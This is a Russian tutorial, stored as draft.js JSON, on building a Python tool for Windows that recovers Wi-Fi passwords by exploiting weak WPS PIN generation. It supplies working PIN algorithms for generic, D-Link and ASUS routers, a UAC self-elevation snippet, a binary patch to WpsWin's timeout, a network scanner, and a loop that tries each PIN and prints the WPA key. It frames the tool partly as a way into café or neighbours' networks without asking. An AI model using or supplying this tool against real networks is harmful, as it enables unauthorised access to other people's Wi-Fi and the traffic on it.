{"draftJsState":{"blocks":[{"data":{"image":{"id":"5d97b185d5bbc300aff92d93"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"44ase"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" Стать написана в ознакомительных целях и не призывает к каким-либо действия. ","type":"blockquote","key":"hdoq"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" ","type":"unstyled","key":"fiqq1"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":3,"offset":220,"style":"BOLD"},{"length":7,"offset":382,"style":"BOLD"}],"text":"Бывает, что возникает необходимость подключиться к Wi-Fi, не зная пароль, — скажем, когда ты сидишь в кафе и стесняешься спросить его или, например, когда тебя наняли, чтобы провести пентест сети организации. Технология WPS уже давно помогает хакерам и в том и в другом. В этой статье мы посмотрим, как самостоятельно реализовать атаку, основанную на слабостях алгоритмов генерации WPS PIN.","type":"unstyled","key":"f49hc"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":3,"offset":55,"style":"BOLD"},{"length":7,"offset":283,"style":"BOLD"}],"text":"Большинство современных роутеров поддерживает стандарт WPS (Wi-Fi Protected Setup), который позволяет за секунды установить безопасное соединение между устройством и роутером, минуя этап настройки шифрования и ввода пароля. Устройства подключаются по отдельному восьмизначному ключу WPS PIN, который состоит из цифр. Восьмая цифра — дайджест.","type":"unstyled","key":"5lopn"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни канал не несут ответственности за любой возможный вред, причиненный информацией из данной статьи. Несанкционированное получение доступа к чужим беспроводным сетям преследуется по закону! ","type":"blockquote","key":"82eq9"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" ","type":"unstyled","key":"6etj5"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":3,"offset":87,"style":"BOLD"}],"text":"Из всего разнообразия методов поблагодарить соседа взлома беспроводных точек доступа с WPS можно выделить следующие:","type":"unstyled","key":"29of9"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":59,"offset":0,"style":"BOLD"}],"text":"подбор ПИН-кода или ключа безопасности методом грубой силы;","type":"unordered-list-item","key":"224ss"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":37,"offset":0,"style":"BOLD"}],"text":"использование уязвимостей реализации;","type":"unordered-list-item","key":"53jrg"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":21,"offset":0,"style":"BOLD"}],"text":"социальная инженерия;","type":"unordered-list-item","key":"ef87v"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":44,"offset":0,"style":"BOLD"}],"text":"использование слабостей генерации ПИН-кодов.","type":"unordered-list-item","key":"3bkk5"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"В этой статье мы остановимся на последнем методе из списка.","type":"unstyled","key":"bafvu"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" Атака WPS Pixie Dust уже морально устарела, однако и сегодня мне встречаются подверженные ей роутеры. Проблема кроется в генерации случайных чисел и позволяет не ломать все восемь цифр в лоб, а угадывать лишь четыре из них, так как оставшиеся можно получить из ответов роутера.","type":"blockquote","key":"s4vq"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" ","type":"unstyled","key":"mcef"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":28,"offset":0,"style":"BOLD"}],"text":"Откуда берут стандартный PIN","type":"header-two","key":"dp2kk"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":7,"offset":81,"style":"BOLD"},{"length":3,"offset":139,"style":"BOLD"},{"length":7,"offset":144,"style":"BOLD"},{"length":3,"offset":316,"style":"BOLD"},{"length":5,"offset":380,"style":"BOLD"}],"text":"Когда мы покупаем роутер, в нем уже содержится полученный специальным алгоритмом WPS PIN для первичного подключения к маршрутизатору через WPS. WPS PIN состоит из восьми цифр. Как производители его получают? Очевидно, что необходимо нечто уникальное для идентификации и генерации различных значений. Правильно — это MAC устройства, который мы можем получить из широковещательного BSSID.","type":"unstyled","key":"4hjp"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":5,"offset":1,"style":"BOLD"},{"length":5,"offset":94,"style":"BOLD"},{"length":12,"offset":132,"style":"BOLD"}],"text":" BSSID (Basic Service Set Identifier) — уникальный идентификатор беспроводной сети. Зачастую BSSID совпадает с адресом устройства Ethernet MAC. ","type":"blockquote","key":"e5upg"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"5s381"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" ","type":"unstyled","key":"bg9m2"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Генерация WPS PIN на примере","type":"header-three","key":"1b2gk"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Как ты уже понял, все начинается с BSSID. Подключаем к сети нашу точку доступа.","type":"unstyled","key":"dk8e0"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" Анализируем любым удобным способом (например, Dumpper). ","type":"unstyled","key":"ebohr"},{"data":{"image":{"id":"5d97b2e974f1bc00af8242f8"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"7nccp"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" ","type":"unstyled","key":"46aqs"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"BSSID получен: C4:6E:1F:6A:8D:04.","type":"unstyled","key":"5f877"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Настало время приключений: открываем браузер и начинаем бороздить различные (в том числе зарубежные) сайты и форумы, чтобы узнать, как работают алгоритмы генерации ПИН-кодов у конкретного производителя сетевого оборудования. Если же лень сильнее интереса, то всегда можно «выдернуть» эти функции из сторонних программных продуктов с открытым исходным кодом.","type":"unstyled","key":"bkb2i"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":3,"offset":138,"style":"BOLD"},{"length":3,"offset":168,"style":"BOLD"}],"text":"Предположим, мы нашли, что большинство стареньких роутеров этого вендора используют алгоритм генерации ПИН-кода из последних трех октетов MAC-адреса устройства: 24-bit PIN = MAC[7..12].","type":"unstyled","key":"dmpio"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":6,"offset":34,"style":"BOLD"}],"text":"Вот реализация этого алгоритма на Python.","type":"unstyled","key":"557s6"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" ","type":"unstyled","key":"3eall"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":295,"offset":0,"style":"UNDERLINE"}],"text":"from math import floor\nMAC = 'C46E1F6A8D04'\nOne = Two = (int(MAC, 16) & 0xFFFFFF) % 10000000\nVar1 = 0\nwhile Two:\n Var1 += 3 * (Two % 10)\n Two = floor(Two / 10)\n Var1 += Two % 10\n Two = floor(Two / 10)\nVar2 = (One * 10) + ((10 - (Var1 % 10)) % 10)\nVar3 = str(int(Var2))\nresult = Var3.zfill(8)","type":"unstyled","key":"3o04m"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" Результатом работы скрипта будет ПИН-код 69829161. Проверим его достоверность. ","type":"unstyled","key":"d136h"},{"data":{"image":{"id":"5d97b3636d29c100ade39e31"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"e0g3c"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" ","type":"unstyled","key":"2oe4b"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Подготовка и требования","type":"header-three","key":"a87h7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Приступим. При разработке собственной утилиты для тестирования беспроводных точек доступа нам потребуется:","type":"unstyled","key":"cftfo"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":17,"offset":0,"style":"BOLD"}],"text":"Windows 7 и выше;","type":"unordered-list-item","key":"fs0mt"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":16,"offset":0,"style":"BOLD"}],"text":"Python 3 и выше;","type":"unordered-list-item","key":"b83sv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":12,"offset":0,"style":"BOLD"}],"text":"удобная IDE;","type":"unordered-list-item","key":"8j4e3"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":16,"offset":0,"style":"BOLD"}],"text":"любимый браузер;","type":"unordered-list-item","key":"4pjv4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":57,"offset":0,"style":"BOLD"}],"text":"личный маршрутизатор Wi-Fi с технологией WPS «для пыток»;","type":"unordered-list-item","key":"5i4ed"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":45,"offset":0,"style":"BOLD"}],"text":"WpsWin (входит в состав того самого Dumpper);","type":"unordered-list-item","key":"7ifs"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":20,"offset":0,"style":"BOLD"}],"text":"IDA и Hex-Rays Tool.","type":"unordered-list-item","key":"5l21a"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Сразу, забегая вперед, скажу, что запускать готовый скрипт нужно будет с правами администратора. Можно с этим либо согласиться и перейти непосредственно к разработке, либо читать дальше.","type":"unstyled","key":"5bp3g"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" ","type":"unstyled","key":"6q2rc"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Автозапуск с правами администратора","type":"header-three","key":"a4b41"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Для автозапуска мы будем использовать следующий код:","type":"unstyled","key":"3on6a"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" ","type":"unstyled","key":"7kj67"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":194,"offset":0,"style":"UNDERLINE"}],"text":"import ctypes, sys\nif ctypes.windll.shell32.IsUserAnAdmin():\n if __name__ == \"__main__\":\n main()\nelse:\n ctypes.windll.shell32.ShellExecuteW(None, \"runas\", sys.executable, __file__, None, 1)","type":"unstyled","key":"btkjf"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" ","type":"unstyled","key":"b8int"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":3,"offset":59,"style":"BOLD"}],"text":"Теперь при попытке запустить скрипт вызов будет передан на UAC (если активен) и откроется новое окно терминала, где наш код выполнится от имени администратора.","type":"unstyled","key":"2lnus"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Если такой вариант не устраивает, то всегда можно воспользоваться готовыми решениями.","type":"unstyled","key":"d5gof"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":51,"offset":0,"style":"BOLD"}],"text":"pyuac — готовый скрипт для повышения прав в Windows","type":"unordered-list-item","key":"aklls"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":59,"offset":0,"style":"BOLD"}],"text":"Bypassing Windows 10 UAC With Python — статья на ту же тему","type":"unordered-list-item","key":"1f3ao"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":94,"offset":0,"style":"BOLD"}],"text":"How to run python script with elevated privilege on windows — разбор вопроса на Stack Overflow","type":"unordered-list-item","key":"80nki"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" ","type":"unstyled","key":"8jk17"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Разработка","type":"header-three","key":"3ph98"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":3,"offset":49,"style":"BOLD"}],"text":"Прежде всего добавим алгоритм подсчета дайджеста MAC-адреса (он уже был выше):","type":"unstyled","key":"1rd7e"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" ","type":"unstyled","key":"4merf"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":247,"offset":0,"style":"UNDERLINE"}],"text":"from math import floor\ndef checksum(mac):\n mac %= 10000000\n var = 0\n temp = mac\n while temp:\n var += 3 * (temp % 10)\n temp = floor(temp / 10)\n var += temp % 10\n temp = floor(temp / 10)\n return (mac * 10) + ((10 - (var % 10)) % 10)","type":"unstyled","key":"981cf"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" ","type":"unstyled","key":"elruc"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"А также несколько функций генерации заветных ПИН-кодов.","type":"unstyled","key":"r73v"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Это далеко не полный список существующих алгоритмов, поэтому оставшиеся варианты будут твоим домашним заданием.","type":"unstyled","key":"bb0bh"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" ","type":"unstyled","key":"ae6fk"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":1026,"offset":0,"style":"UNDERLINE"}],"text":"def pin24(BSSID):\n temp = int(BSSID,16) & 0xFFFFFF\n temp = checksum(temp)\n temp = str(int(temp))\n return temp.zfill(8)\n\ndef pinDLink(BSSID):\n temp = (int(BSSID, 16) & 0xFFFFFF) ^ 0x55AA55\n temp ^= ((temp & 0xF) << 4) | ((temp & 0xF) << 8) | ((temp & 0xF) << 12) | ((temp & 0xF) << 16) | ((temp & 0xF) << 20)\n temp %= 10000000\n if temp < 1000000:\n temp += ((temp % 9) * 1000000) + 1000000\n temp = checksum(temp)\n temp = str(int(temp))\n return temp.zfill(8)\n\ndef pinDLinkInc1(BSSID):\n temp = int(BSSID, 16) + 1\n return pinDLink(hex(temp))\n\ndef pinASUS(BSSID):\n temp = format(int(BSSID, 16), '02x')\n temp = str(temp).zfill(12)\n var = [int(temp[0:2], 16), int(temp[2:4], 16), int(temp[4:6], 16), int(temp[6:8], 16),\n int(temp[8:10], 16), int(temp[10:12], 16)]\n pin = []\n for i in range(7):\n pin.append((var[i % 6] + var[5]) % (10 - ((i + var[1] + var[2] + var[3] + var[4] + var[5]) % 7)))\n temp = int(''.join(str(i) for i in pin))\n temp = checksum(temp)\n temp = str(int(temp))\n return temp.zfill(8)","type":"unstyled","key":"dhefj"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" ","type":"unstyled","key":"ahi50"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Немного реверса","type":"header-three","key":"4d1v7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":6,"offset":79,"style":"BOLD"},{"length":3,"offset":174,"style":"BOLD"},{"length":3,"offset":224,"style":"BOLD"},{"length":2,"offset":244,"style":"BOLD"}],"text":"Разумеется, нужен способ проверить получившиеся ПИН-коды. В этом нам и поможет WpsWin. Эта утилита позволяет подключиться к беспроводной точке доступа посредством технологии WPS. Но какие параметры ей передавать? Расчехляем IDA, подгружаем наш PE и исследуем.","type":"unstyled","key":"c4psm"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Вот что нам необходимо проделать с исполняемым файлом:","type":"unstyled","key":"9af1"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":71,"offset":0,"style":"BOLD"}],"text":"найти передаваемые аргументы для взаимодействия через командную строку;","type":"unordered-list-item","key":"c2pp"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":78,"offset":0,"style":"BOLD"}],"text":"отыскать сообщения об успешных, неудачных и ошибочных результатах подключения;","type":"unordered-list-item","key":"92qll"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":75,"offset":0,"style":"BOLD"}],"text":"пропатчить PE с целью сокращения тайм-аута на подключение к маршрутизатору.","type":"unordered-list-item","key":"d3egs"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Первая нужная функция находится по адресу 0x004012A0.","type":"unstyled","key":"1c5k0"},{"data":{"image":{"id":"5d97b43ff73d9d00b28b7684"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"5u8aq"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" Вторую можно найти по 0x00403370, а третья — это локальная метка основной функции. ","type":"unstyled","key":"2auf2"},{"data":{"image":{"id":"5d97b45cdf944400b1c99d44"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"7meef"},{"data":{"image":{"id":"5d97b4739c944602625105d5"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"c0vdq"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" ","type":"unstyled","key":"4djbs"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"По дефолту время тайм-аута соединения с роутером равно девяноста секундам. Мы столько ждать не готовы, поэтому уменьшаем это время до (приблизительно) пяти секунд.","type":"unstyled","key":"41trv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Само значение передается аргументом второй, найденной нами функции.","type":"unstyled","key":"9cohj"},{"data":{"image":{"id":"5d97b4c53f548700ac9e84f0"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"c83vq"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" Патчим через «Edit → Patch program → Assemble…» и сохраняем. ","type":"unstyled","key":"6viji"},{"data":{"image":{"id":"5d97b4d6d5bbc300aff92da7"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"70v47"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" ","type":"unstyled","key":"159gv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Подключение по WPS","type":"header-three","key":"8b0g0"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":6,"offset":41,"style":"BOLD"}],"text":"Продолжаем дописывать наш код. Запускаем WpsWin, передавая ему параметры для подключения к конкретной беспроводной сети, после чего благополучно перехватываем вывод и проверяем результат.","type":"unstyled","key":"1d15l"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" ","type":"unstyled","key":"14bbn"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":874,"offset":0,"style":"UNDERLINE"}],"text":"import subprocess\nimport sys\nfrom time import sleep\n\ndef run_command(cmd):\n p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n for LINE in iter(p.stdout.readline, b''):\n if LINE:\n yield LINE\n while p.poll() is None:\n sleep(.1)\n err = p.stderr.read()\n if p.returncode != 0:\n print (\"\" + err)\n\ndef connect(ESSID, PIN):\n cmd = 'WpsWin.exe Action=Registrar ESSID=\"%s\" PIN=%s' % (ESSID, str(PIN))\n sleep(1)\n for LINE in run_command(cmd):\n LINE = LINE.decode('cp866')\n if \"Asociacion fallida\" in LINE:\n print (\"Connection with %s hasn't been established!\" % ESSID)\n return\n elif \"Pin incorrecto\" in LINE:\n print(\"Pin invalid!\")\n return\n elif \"Wpa Key\" in LINE:\n print(\"\\nTRUE PIN FOUND!\\nGetting the Wi-Fi password...\\n\")\n print(LINE)\n sleep(5)\n input()\n sys.exit()","type":"unstyled","key":"6asrn"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":6,"offset":14,"style":"BOLD"},{"length":3,"offset":84,"style":"BOLD"},{"length":5,"offset":111,"style":"BOLD"}],"text":" К сожалению, WpsWin не позволяет отобразить список близлежащих сетей с поддержкой WPS, как это делает wash в Linux, а значит, нам остается реализовать эту функцию самим. ","type":"unstyled","key":"3lgnk"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" ","type":"unstyled","key":"d3e8n"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":839,"offset":0,"style":"UNDERLINE"}],"text":"import re\ndef main():\n network = 0\n results = run_command(\"netsh wlan show networks mode=bssid\")\n results = [i for i in results]\n ssids = []\n bssids = []\n for line in results:\n line = line.decode('cp866')\n if \"BSSID\" in line:\n bssids.append(re.sub('BSSID [\\d]+:', '', line.strip()).strip())\n elif \"SSID\" in line:\n ssids.append(re.sub('SSID [\\d]+:', '', line.strip()).strip())\n i = 0\n print (\"Available wireless networks at the moment:\\n\")\n for j in ssids:\n i += 1\n print (\"%d - %s\" % (i, j))\n while (network == \"\") or (int(network) < 1) or (int(network) > i):\n print\n network = input(\"\\nChoose the wireless network > \")\n network = int(network) - 1\n macbssid = bssids[network].upper()\n mac = macbssid.replace(\":\", \"\").replace(\"-\", \"\").replace(\" \", \"\").replace(\".\", \"\")\n wifiname = ssids[network]","type":"unstyled","key":"ajeuf"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" ","type":"unstyled","key":"91v07"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Угадываем WPS PIN","type":"header-three","key":"1svin"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Еще несколько десятков кликов по клавиатуре, и код готов.","type":"unstyled","key":"1k8cc"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":218,"offset":0,"style":"UNDERLINE"}],"text":" algos = [pin24, pinDLink, pinDLinkInc1, pinASUS]\n for i in algos:\n pin = i(mac)\n print (\"\\nTrying connect to %s via %s technique with PIN: %s\" % (wifiname,i.__name__,pin))\n connect(wifiname,pin)\n sleep(3)\n ","type":"unstyled","key":"6901c"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Тестирование утилиты","type":"header-three","key":"7tpq5"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Запускаем скрипт из терминала Windows. Выбираем беспроводную сеть. Профит!","type":"unstyled","key":"55jcn"},{"data":{"image":{"id":"5d97b55006cc4600b123f43d"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"aisvl"},{"data":{"image":{"id":"5d97b55995aa9f00aef9f3bc"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"5sq6l"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" ","type":"unstyled","key":"c63cd"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Дополнительные фичи","type":"header-three","key":"4rj13"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Если же тебе, дорогой читатель, захочется модернизировать этот код, то вот несколько интересных идей для реализации.","type":"unstyled","key":"eq43j"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":85,"offset":0,"style":"BOLD"}],"text":"Переписать утилиту с использованием встроенной библиотеки cmd, которая имитирует CLI.","type":"unordered-list-item","key":"1g8dr"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":58,"offset":0,"style":"BOLD"}],"text":"Придумать иной способ получения списка беспроводных сетей.","type":"unordered-list-item","key":"ci300"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":75,"offset":0,"style":"BOLD"}],"text":"Отыскать все возможные алгоритмы генерации WPS PIN у разных производителей.","type":"unordered-list-item","key":"dsgog"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":73,"offset":0,"style":"BOLD"}],"text":"Добавить проверку на наличие у беспроводной точки доступа технологии WPS.","type":"unordered-list-item","key":"di5rl"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":158,"offset":0,"style":"BOLD"}],"text":"Создать счетчик неудачных попыток ассоциации, что поможет выявить вероятную блокировку (Lock) или использование межсетевого экранирования в беспроводной сети.","type":"unordered-list-item","key":"65j92"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":64,"offset":0,"style":"BOLD"}],"text":"Добавить звуковое оповещение, когда будет найден верный ПИН-код.","type":"unordered-list-item","key":"duqtc"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" ","type":"unstyled","key":"4rmkr"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Выводы","type":"header-three","key":"9gqbo"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Что у нас есть по результатам:","type":"unstyled","key":"dbo95"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":76,"offset":0,"style":"BOLD"}],"text":"+10 к интеллекту скиллу разработки средств автоматизированного тестирования;","type":"unordered-list-item","key":"36ijm"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":48,"offset":0,"style":"BOLD"}],"text":"небольшой список алгоритмов генерации ПИН-кодов;","type":"unordered-list-item","key":"blimu"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":60,"offset":0,"style":"BOLD"}],"text":"работающая утилита тестирования слабостей генерации WPS PIN;","type":"unordered-list-item","key":"bk8re"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":28,"offset":0,"style":"BOLD"}],"text":"пароль от беспроводной сети.","type":"unordered-list-item","key":"5mn40"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":3,"offset":237,"style":"BOLD"}],"text":"Не могу не сказать, что вендоры уже давно знают об этой слабости и в последних обновлениях прошивок проблема, скорее всего, уже исправлена. Хоть иногда я и встречал «современные» точки доступа, где для генерации ПИН-кода был использован MAC, увеличенный (или уменьшенный) на единицу, доля уязвимых устройств с каждым днем все меньше.","type":"unstyled","key":"8u0d2"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"На этом пожалуй все. Всего доброго. Можете поставить лайк","type":"unstyled","key":"6q2qe"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"marker","key":"hde8MculFJj34snO0vPr"}],"entityMap":{}},"mentions":[]}